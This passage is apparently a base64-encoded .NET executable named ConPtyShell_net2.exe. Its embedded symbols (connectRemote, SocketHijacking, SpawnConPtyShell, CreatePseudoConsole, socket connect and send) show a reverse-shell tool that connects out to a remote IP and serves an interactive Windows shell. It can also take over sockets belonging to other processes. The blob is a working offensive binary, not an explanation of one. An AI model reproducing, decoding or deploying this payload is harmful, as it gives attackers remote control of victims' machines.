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Y3wFCAN8AAAABAAcPAAABAFwPAAABAGQPAAACAGwPAAABAIgPAAACAJsPAAADAKcPAAAEALYPAAAFAMIPAgAGANIPAAABAOoPAAABAPcPAAABAAsQAAACABIQAAABABkQAAABABkQAAACACEQAAADAAsQAAABACoQAAABADwQAgACAE4QAAABAGEQAAACAG4QAAADAHgQAQABAIUQAQACAJ8QAQADAKoQAAAEALcQAAAFAMYQAAAGAHkNAAABAM0QAAACAM8QAAADANQQAAABANwQAAACAAkOAAADAG4QACAAAAAAAAABAAsRAAACACARAAADAC4RAgAEAEMRAAAFAFIRACAGAAkOAAAHAGIRAAABAFwPAAABAHYRAAACAIMRAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACA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0eVNoZWxsRXhjZXB0aW9uAERlYWRsb2NrQ2hlY2tIZWxwZXIATFBUSFJFQURfU1RBUlRfUk9VVElORQBTb2NrZXRIaWphY2tpbmcAU1lTVEVNX0hBTkRMRQBPQkpFQ1RfSU5GT1JNQVRJT05fQ0xBU1MAT0JKRUNUX05BTUVfSU5GT1JNQVRJT04AVU5JQ09ERV9TVFJJTkcAUHJvY2Vzc0FjY2Vzc0ZsYWdzAFdTQURhdGEAV1NBUFJPVE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaX